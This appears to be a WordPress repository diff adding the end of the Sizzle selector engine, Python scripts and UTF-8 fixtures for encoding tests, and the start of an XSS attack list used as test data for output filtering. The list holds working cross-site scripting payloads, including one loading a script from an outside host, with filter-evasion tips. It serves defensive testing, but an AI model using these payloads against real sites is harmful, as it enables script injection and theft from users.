+	Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) );
+}
+// Expose origPOS
+// "global" as in regardless of relation to brackets/parens
+Expr.match.globalPOS = origPOS;
+
+var makeArray = function( array, results ) {
+	array = Array.prototype.slice.call( array, 0 );
+
+	if ( results ) {
+		results.push.apply( results, array );
+		return results;
+	}
+
+	return array;
+};
+
+// Perform a simple check to determine if the browser is capable of
+// converting a NodeList to an array using builtin methods.
+// Also verifies that the returned array holds DOM nodes
+// (which is not the case in the Blackberry browser)
+try {
+	Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType;
+
+// Provide a fallback method if it does not work
+} catch( e ) {
+	makeArray = function( array, results ) {
+		var i = 0,
+			ret = results || [];
+
+		if ( toString.call(array) === "[object Array]" ) {
+			Array.prototype.push.apply( ret, array );
+
+		} else {
+			if ( typeof array.length === "number" ) {
+				for ( var l = array.length; i < l; i++ ) {
+					ret.push( array[i] );
+				}
+
+			} else {
+				for ( ; array[i]; i++ ) {
+					ret.push( array[i] );
+				}
+			}
+		}
+
+		return ret;
+	};
+}
+
+var sortOrder, siblingCheck;
+
+if ( document.documentElement.compareDocumentPosition ) {
+	sortOrder = function( a, b ) {
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+		}
+
+		if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {
+			return a.compareDocumentPosition ? -1 : 1;
+		}
+
+		return a.compareDocumentPosition(b) & 4 ? -1 : 1;
+	};
+
+} else {
+	sortOrder = function( a, b ) {
+		// The nodes are identical, we can exit early
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+
+		// Fallback to using sourceIndex (in IE) if it's available on both nodes
+		} else if ( a.sourceIndex && b.sourceIndex ) {
+			return a.sourceIndex - b.sourceIndex;
+		}
+
+		var al, bl,
+			ap = [],
+			bp = [],
+			aup = a.parentNode,
+			bup = b.parentNode,
+			cur = aup;
+
+		// If the nodes are siblings (or identical) we can do a quick check
+		if ( aup === bup ) {
+			return siblingCheck( a, b );
+
+		// If no parents were found then the nodes are disconnected
+		} else if ( !aup ) {
+			return -1;
+
+		} else if ( !bup ) {
+			return 1;
+		}
+
+		// Otherwise they're somewhere else in the tree so we need
+		// to build up a full list of the parentNodes for comparison
+		while ( cur ) {
+			ap.unshift( cur );
+			cur = cur.parentNode;
+		}
+
+		cur = bup;
+
+		while ( cur ) {
+			bp.unshift( cur );
+			cur = cur.parentNode;
+		}
+
+		al = ap.length;
+		bl = bp.length;
+
+		// Start walking down the tree looking for a discrepancy
+		for ( var i = 0; i < al && i < bl; i++ ) {
+			if ( ap[i] !== bp[i] ) {
+				return siblingCheck( ap[i], bp[i] );
+			}
+		}
+
+		// We ended someplace up the tree so do a sibling check
+		return i === al ?
+			siblingCheck( a, bp[i], -1 ) :
+			siblingCheck( ap[i], b, 1 );
+	};
+
+	siblingCheck = function( a, b, ret ) {
+		if ( a === b ) {
+			return ret;
+		}
+
+		var cur = a.nextSibling;
+
+		while ( cur ) {
+			if ( cur === b ) {
+				return -1;
+			}
+
+			cur = cur.nextSibling;
+		}
+
+		return 1;
+	};
+}
+
+// Check to see if the browser returns elements by name when
+// querying by getElementById (and provide a workaround)
+(function(){
+	// We're going to inject a fake input element with a specified name
+	var form = document.createElement("div"),
+		id = "script" + (new Date()).getTime(),
+		root = document.documentElement;
+
+	form.innerHTML = "<a name='" + id + "'/>";
+
+	// Inject it into the root element, check its status, and remove it quickly
+	root.insertBefore( form, root.firstChild );
+
+	// The workaround has to do additional checks after a getElementById
+	// Which slows things down for other browsers (hence the branching)
+	if ( document.getElementById( id ) ) {
+		Expr.find.ID = function( match, context, isXML ) {
+			if ( typeof context.getElementById !== "undefined" && !isXML ) {
+				var m = context.getElementById(match[1]);
+
+				return m ?
+					m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ?
+						[m] :
+						undefined :
+					[];
+			}
+		};
+
+		Expr.filter.ID = function( elem, match ) {
+			var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
+
+			return elem.nodeType === 1 && node && node.nodeValue === match;
+		};
+	}
+
+	root.removeChild( form );
+
+	// release memory in IE
+	root = form = null;
+})();
+
+(function(){
+	// Check to see if the browser returns only elements
+	// when doing getElementsByTagName("*")
+
+	// Create a fake element
+	var div = document.createElement("div");
+	div.appendChild( document.createComment("") );
+
+	// Make sure no comments are found
+	if ( div.getElementsByTagName("*").length > 0 ) {
+		Expr.find.TAG = function( match, context ) {
+			var results = context.getElementsByTagName( match[1] );
+
+			// Filter out possible comments
+			if ( match[1] === "*" ) {
+				var tmp = [];
+
+				for ( var i = 0; results[i]; i++ ) {
+					if ( results[i].nodeType === 1 ) {
+						tmp.push( results[i] );
+					}
+				}
+
+				results = tmp;
+			}
+
+			return results;
+		};
+	}
+
+	// Check to see if an attribute returns normalized href attributes
+	div.innerHTML = "<a href='#'></a>";
+
+	if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" &&
+			div.firstChild.getAttribute("href") !== "#" ) {
+
+		Expr.attrHandle.href = function( elem ) {
+			return elem.getAttribute( "href", 2 );
+		};
+	}
+
+	// release memory in IE
+	div = null;
+})();
+
+if ( document.querySelectorAll ) {
+	(function(){
+		var oldSizzle = Sizzle,
+			div = document.createElement("div"),
+			id = "__sizzle__";
+
+		div.innerHTML = "<p class='TEST'></p>";
+
+		// Safari can't handle uppercase or unicode characters when
+		// in quirks mode.
+		if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) {
+			return;
+		}
+
+		Sizzle = function( query, context, extra, seed ) {
+			context = context || document;
+
+			// Only use querySelectorAll on non-XML documents
+			// (ID selectors don't work in non-HTML documents)
+			if ( !seed && !Sizzle.isXML(context) ) {
+				// See if we find a selector to speed up
+				var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query );
+
+				if ( match && (context.nodeType === 1 || context.nodeType === 9) ) {
+					// Speed-up: Sizzle("TAG")
+					if ( match[1] ) {
+						return makeArray( context.getElementsByTagName( query ), extra );
+
+					// Speed-up: Sizzle(".CLASS")
+					} else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) {
+						return makeArray( context.getElementsByClassName( match[2] ), extra );
+					}
+				}
+
+				if ( context.nodeType === 9 ) {
+					// Speed-up: Sizzle("body")
+					// The body element only exists once, optimize finding it
+					if ( query === "body" && context.body ) {
+						return makeArray( [ context.body ], extra );
+
+					// Speed-up: Sizzle("#ID")
+					} else if ( match && match[3] ) {
+						var elem = context.getElementById( match[3] );
+
+						// Check parentNode to catch when Blackberry 4.6 returns
+						// nodes that are no longer in the document #6963
+						if ( elem && elem.parentNode ) {
+							// Handle the case where IE and Opera return items
+							// by name instead of ID
+							if ( elem.id === match[3] ) {
+								return makeArray( [ elem ], extra );
+							}
+
+						} else {
+							return makeArray( [], extra );
+						}
+					}
+
+					try {
+						return makeArray( context.querySelectorAll(query), extra );
+					} catch(qsaError) {}
+
+				// qSA works strangely on Element-rooted queries
+				// We can work around this by specifying an extra ID on the root
+				// and working up from there (Thanks to Andrew Dupont for the technique)
+				// IE 8 doesn't work on object elements
+				} else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
+					var oldContext = context,
+						old = context.getAttribute( "id" ),
+						nid = old || id,
+						hasParent = context.parentNode,
+						relativeHierarchySelector = /^\s*[+~]/.test( query );
+
+					if ( !old ) {
+						context.setAttribute( "id", nid );
+					} else {
+						nid = nid.replace( /'/g, "\\$&" );
+					}
+					if ( relativeHierarchySelector && hasParent ) {
+						context = context.parentNode;
+					}
+
+					try {
+						if ( !relativeHierarchySelector || hasParent ) {
+							return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra );
+						}
+
+					} catch(pseudoError) {
+					} finally {
+						if ( !old ) {
+							oldContext.removeAttribute( "id" );
+						}
+					}
+				}
+			}
+
+			return oldSizzle(query, context, extra, seed);
+		};
+
+		for ( var prop in oldSizzle ) {
+			Sizzle[ prop ] = oldSizzle[ prop ];
+		}
+
+		// release memory in IE
+		div = null;
+	})();
+}
+
+(function(){
+	var html = document.documentElement,
+		matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector;
+
+	if ( matches ) {
+		// Check to see if it's possible to do matchesSelector
+		// on a disconnected node (IE 9 fails this)
+		var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ),
+			pseudoWorks = false;
+
+		try {
+			// This should fail with an exception
+			// Gecko does not error, returns false instead
+			matches.call( document.documentElement, "[test!='']:sizzle" );
+
+		} catch( pseudoError ) {
+			pseudoWorks = true;
+		}
+
+		Sizzle.matchesSelector = function( node, expr ) {
+			// Make sure that attribute selectors are quoted
+			expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
+
+			if ( !Sizzle.isXML( node ) ) {
+				try {
+					if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) {
+						var ret = matches.call( node, expr );
+
+						// IE 9's matchesSelector returns false on disconnected nodes
+						if ( ret || !disconnectedMatch ||
+								// As well, disconnected nodes are said to be in a document
+								// fragment in IE 9, so check for that
+								node.document && node.document.nodeType !== 11 ) {
+							return ret;
+						}
+					}
+				} catch(e) {}
+			}
+
+			return Sizzle(expr, null, null, [node]).length > 0;
+		};
+	}
+})();
+
+(function(){
+	var div = document.createElement("div");
+
+	div.innerHTML = "<div class='test e'></div><div class='test'></div>";
+
+	// Opera can't find a second classname (in 9.6)
+	// Also, make sure that getElementsByClassName actually exists
+	if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) {
+		return;
+	}
+
+	// Safari caches class attributes, doesn't catch changes (in 3.2)
+	div.lastChild.className = "e";
+
+	if ( div.getElementsByClassName("e").length === 1 ) {
+		return;
+	}
+
+	Expr.order.splice(1, 0, "CLASS");
+	Expr.find.CLASS = function( match, context, isXML ) {
+		if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) {
+			return context.getElementsByClassName(match[1]);
+		}
+	};
+
+	// release memory in IE
+	div = null;
+})();
+
+function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
+	for ( var i = 0, l = checkSet.length; i < l; i++ ) {
+		var elem = checkSet[i];
+
+		if ( elem ) {
+			var match = false;
+
+			elem = elem[dir];
+
+			while ( elem ) {
+				if ( elem[ expando ] === doneName ) {
+					match = checkSet[elem.sizset];
+					break;
+				}
+
+				if ( elem.nodeType === 1 && !isXML ){
+					elem[ expando ] = doneName;
+					elem.sizset = i;
+				}
+
+				if ( elem.nodeName.toLowerCase() === cur ) {
+					match = elem;
+					break;
+				}
+
+				elem = elem[dir];
+			}
+
+			checkSet[i] = match;
+		}
+	}
+}
+
+function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
+	for ( var i = 0, l = checkSet.length; i < l; i++ ) {
+		var elem = checkSet[i];
+
+		if ( elem ) {
+			var match = false;
+
+			elem = elem[dir];
+
+			while ( elem ) {
+				if ( elem[ expando ] === doneName ) {
+					match = checkSet[elem.sizset];
+					break;
+				}
+
+				if ( elem.nodeType === 1 ) {
+					if ( !isXML ) {
+						elem[ expando ] = doneName;
+						elem.sizset = i;
+					}
+
+					if ( typeof cur !== "string" ) {
+						if ( elem === cur ) {
+							match = true;
+							break;
+						}
+
+					} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {
+						match = elem;
+						break;
+					}
+				}
+
+				elem = elem[dir];
+			}
+
+			checkSet[i] = match;
+		}
+	}
+}
+
+if ( document.documentElement.contains ) {
+	Sizzle.contains = function( a, b ) {
+		return a !== b && (a.contains ? a.contains(b) : true);
+	};
+
+} else if ( document.documentElement.compareDocumentPosition ) {
+	Sizzle.contains = function( a, b ) {
+		return !!(a.compareDocumentPosition(b) & 16);
+	};
+
+} else {
+	Sizzle.contains = function() {
+		return false;
+	};
+}
+
+Sizzle.isXML = function( elem ) {
+	// documentElement is verified for cases where it doesn't yet exist
+	// (such as loading iframes in IE - #4833)
+	var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;
+
+	return documentElement ? documentElement.nodeName !== "HTML" : false;
+};
+
+var posProcess = function( selector, context, seed ) {
+	var match,
+		tmpSet = [],
+		later = "",
+		root = context.nodeType ? [context] : context;
+
+	// Position selectors must be done after the filter
+	// And so must :not(positional) so we move all PSEUDOs to the end
+	while ( (match = Expr.match.PSEUDO.exec( selector )) ) {
+		later += match[0];
+		selector = selector.replace( Expr.match.PSEUDO, "" );
+	}
+
+	selector = Expr.relative[selector] ? selector + "*" : selector;
+
+	for ( var i = 0, l = root.length; i < l; i++ ) {
+		Sizzle( selector, root[i], tmpSet, seed );
+	}
+
+	return Sizzle.filter( later, tmpSet );
+};
+
+// EXPOSE
+
+window.Sizzle = Sizzle;
+
+})();

+ 15 - 0
tests/phpunit/data/formatting/utf-8/README

@@ -0,0 +1,15 @@
+The Python scripts are for generating test data, because Python's Unicode
+support is much, much, much, much better than PHP's.
+
+ * `utf-8/urlencode.py`, `utf-8/u-urlencode.py` and `utf-8/entitize.py` process UTF-8
+   into a few different formats (%-encoding, %u-encoding, &#decimal;)
+   and are used like normal UNIXy pipes.
+
+   Try:
+
+   `python urlencode.py < utf-8.txt > urlencoded.txt`
+   `python u-urlencode.py < utf-8.txt > u-urlencoded.txt`
+   `python entitize.py < utf-8.txt > entitized.txt`
+
+  * `windows-1252.py` converts Windows-only smart-quotes and things
+    into their unicode &#decimal reference; equivalents.

+ 24 - 0
tests/phpunit/data/formatting/utf-8/entitize.py

@@ -0,0 +1,24 @@
+# Generates entitized.txt from utf-8.txt
+#
+# entitized.txt is used by Tests_Formatting_UrlEncodedToEntities
+
+import codecs
+import sys
+
+def entitize(line):
+    """Convert text to &#[dec]; entities."""
+    line = line.strip();
+    line = ["&#%d;" % ord(s) for s in line]
+    return "".join(line)
+
+if __name__ == "__main__":
+    args = sys.argv[1:]
+    if args and args[0] in ("-h", "--help"):
+        print "Usage: python entitize.py < utf-8.txt > entitized.txt"
+        sys.exit(2)
+
+    sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+    sys.stdout = codecs.getwriter("ascii")(sys.stdout)    
+    
+    lines = sys.stdin.readlines()
+    sys.stdout.write( "\n".join(map(entitize, lines)) )

+ 5 - 0
tests/phpunit/data/formatting/utf-8/entitized.txt

@@ -0,0 +1,5 @@
+&#31456;&#23376;&#24609;
+&#70;&#114;&#97;&#110;&#231;&#111;&#105;&#115;&#32;&#84;&#114;&#117;&#102;&#102;&#97;&#117;&#116;
+&#4321;&#4304;&#4325;&#4304;&#4320;&#4311;&#4309;&#4308;&#4314;&#4317;
+&#66;&#106;&#246;&#114;&#107;&#32;&#71;&#117;&#240;&#109;&#117;&#110;&#100;&#115;&#100;&#243;&#116;&#116;&#105;&#114;
+&#23470;&#23822;&#12288;&#39423;

+ 24 - 0
tests/phpunit/data/formatting/utf-8/u-urlencode.py

@@ -0,0 +1,24 @@
+# Generates u-urlencoded.txt from utf-8.txt
+#
+# u-urlencoded.txt is used by Tests_Formatting_UrlEncodedToEntities
+
+import codecs
+import sys
+
+def uurlencode(line):
+    """Use %u[hexvalue] percent encoding."""
+    line = line.strip()
+    line = ["%%u%04X" % ord(s) for s in line]
+    return "".join(line)
+
+if __name__ == "__main__":
+    args = sys.argv[1:]
+    if args and args[0] in ("-h", "--help"):
+        print "Usage: python u-urlencode.py < utf-8.txt > u-urlencoded.txt"
+        sys.exit(2)
+
+    sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+    sys.stdout = codecs.getwriter("ascii")(sys.stdout)    
+    
+    lines = sys.stdin.readlines()
+    sys.stdout.write( "\n".join(map(uurlencode, lines)) )

+ 5 - 0
tests/phpunit/data/formatting/utf-8/u-urlencoded.txt

@@ -0,0 +1,5 @@
+%u7AE0%u5B50%u6021
+%u0046%u0072%u0061%u006E%u00E7%u006F%u0069%u0073%u0020%u0054%u0072%u0075%u0066%u0066%u0061%u0075%u0074
+%u10E1%u10D0%u10E5%u10D0%u10E0%u10D7%u10D5%u10D4%u10DA%u10DD
+%u0042%u006A%u00F6%u0072%u006B%u0020%u0047%u0075%u00F0%u006D%u0075%u006E%u0064%u0073%u0064%u00F3%u0074%u0074%u0069%u0072
+%u5BAE%u5D0E%u3000%u99FF

+ 33 - 0
tests/phpunit/data/formatting/utf-8/urlencode.py

@@ -0,0 +1,33 @@
+# Generates urlencoded.txt from utf-8.txt
+#
+# urlencoded.txt is used by Tests_Formatting_Utf8UriEncode
+
+import urllib, codecs, re
+import sys
+
+# uncapitalize pct-encoded values, leave the rest alone
+capfix = re.compile("%([0-9A-Z]{2})");
+def fix(match):
+    octet = match.group(1)
+    intval = int(octet, 16)
+    if intval < 128:
+        return chr(intval).lower()
+    return '%' + octet.lower()
+
+def urlencode(line):
+    """Percent-encode each byte of non-ASCII unicode characters."""
+    line = urllib.quote(line.strip().encode("utf-8"))
+    line = capfix.sub(fix, line)
+    return line
+
+if __name__ == "__main__":
+    args = sys.argv[1:]
+    if args and args[0] in ("-h", "--help"):
+        print "Usage: python urlencode.py < utf-8.txt > urlencoded.txt"
+        sys.exit(2)
+
+    sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+    sys.stdout = codecs.getwriter("ascii")(sys.stdout)    
+    
+    lines = sys.stdin.readlines()
+    sys.stdout.write( "\n".join(map(urlencode, lines)) )

+ 5 - 0
tests/phpunit/data/formatting/utf-8/urlencoded.txt

@@ -0,0 +1,5 @@
+%e7%ab%a0%e5%ad%90%e6%80%a1
+Fran%c3%a7ois Truffaut
+%e1%83%a1%e1%83%90%e1%83%a5%e1%83%90%e1%83%a0%e1%83%97%e1%83%95%e1%83%94%e1%83%9a%e1%83%9d
+Bj%c3%b6rk Gu%c3%b0mundsd%c3%b3ttir
+%e5%ae%ae%e5%b4%8e%e3%80%80%e9%a7%bf

+ 5 - 0
tests/phpunit/data/formatting/utf-8/utf-8.txt

@@ -0,0 +1,5 @@
+็ซ ๅญๆ€ก
+Franรงois Truffaut
+แƒกแƒแƒฅแƒแƒ แƒ—แƒ•แƒ”แƒšแƒ
+Bjรถrk Guรฐmundsdรณttir
+ๅฎฎๅดŽใ€€้งฟ

+ 27 - 0
tests/phpunit/data/formatting/windows1252.py

@@ -0,0 +1,27 @@
+# Generates test data for functions converting between
+# dodgy windows-1252-only values and their unicode counterparts
+
+unichars = ["201A", "0192", "201E", "2026", "2020", "2021", 
+            "02C6", "2030", "0160", "2039", "0152", "2018", 
+            "2019", "201C", "201D", "2022", "2013", "2014", 
+            "02DC", "2122", "0161", "203A", "0153", "0178"];
+
+winpoints = []
+unipoints = []
+
+for char in unichars:
+    char = unichr(int(char, 16))
+    dec = ord(char)
+    win = ord(char.encode("windows-1252"))
+    
+    unipoints.append(dec)
+    winpoints.append(win)
+
+def entitize(s):
+    return "&#%s;" % s
+
+winpoints = map(entitize, winpoints)
+unipoints = map(entitize, unipoints)
+
+print "".join(winpoints), "".join(unipoints)
+    

+ 976 - 0
tests/phpunit/data/formatting/xssAttacks.xml

@@ -0,0 +1,976 @@
+<?xml version="1.0"?>
+<xss> 
+	<attack> 
+		<name>XSS Locator</name> 
+		<code>&apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;=&amp;{}</code> 
+		<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.  You&apos;ll need to replace the &quot;&amp;&quot; with &quot;%26&quot; if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable.  Tip: If you&apos;re in a rush and need to quickly check a page, often times injecting the deprecated &quot;&lt;PLAINTEXT&gt;&quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XSS Quick Test</name> 
+		<code>&apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}</code> 
+		<desc>If you don&apos;t have much space, this string is a nice compact XSS injection check. View source after injecting it and look for &lt;XSS versus &amp;lt;XSS to see if it is vulnerable.</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SCRIPT w/Alert()</name> 
+		<code>&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;</code> 
+		<desc>Basic injection attack</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SCRIPT w/Source File</name> 
+		<code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SCRIPT w/Char Code</name> 
+		<code>&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</code> 
+		<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.</desc> 
+		<label>Basic XSS Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BASE</name> 
+		<code>&lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&gt;</code> 
+		<desc>Works in IE and Netscape 8.1 in safe mode.  You need the // to comment out the next characters so you won&apos;t get a JavaScript error and your XSS tag will render.  Also, this relies on the fact that the website uses dynamically placed images like &quot;images/image.jpg&quot; rather than full paths.  If the path includes a leading forward slash like &quot;/images/image.jpg&quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BGSOUND</name> 
+		<code>&lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>BGSOUND</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BODY background-image</name> 
+		<code>&lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>BODY image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>BODY ONLOAD</name> 
+		<code>&lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;</code> 
+		<desc>BODY tag (I like this method because it doesn&apos;t require using any variants of &quot;javascript:&quot; or &quot;&lt;SCRIPT...&quot; to accomplish the XSS attack)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV background-image 1</name> 
+		<code>&lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>Div background-image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV background-image 2</name> 
+		<code>&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>Div background-image plus extra characters.  I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course.  (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV expression</name> 
+		<code>&lt;DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;</code> 
+		<desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and &quot;expression&quot;</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>FRAME</name> 
+		<code>&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/FRAMESET&gt;</code> 
+		<desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IFRAME</name> 
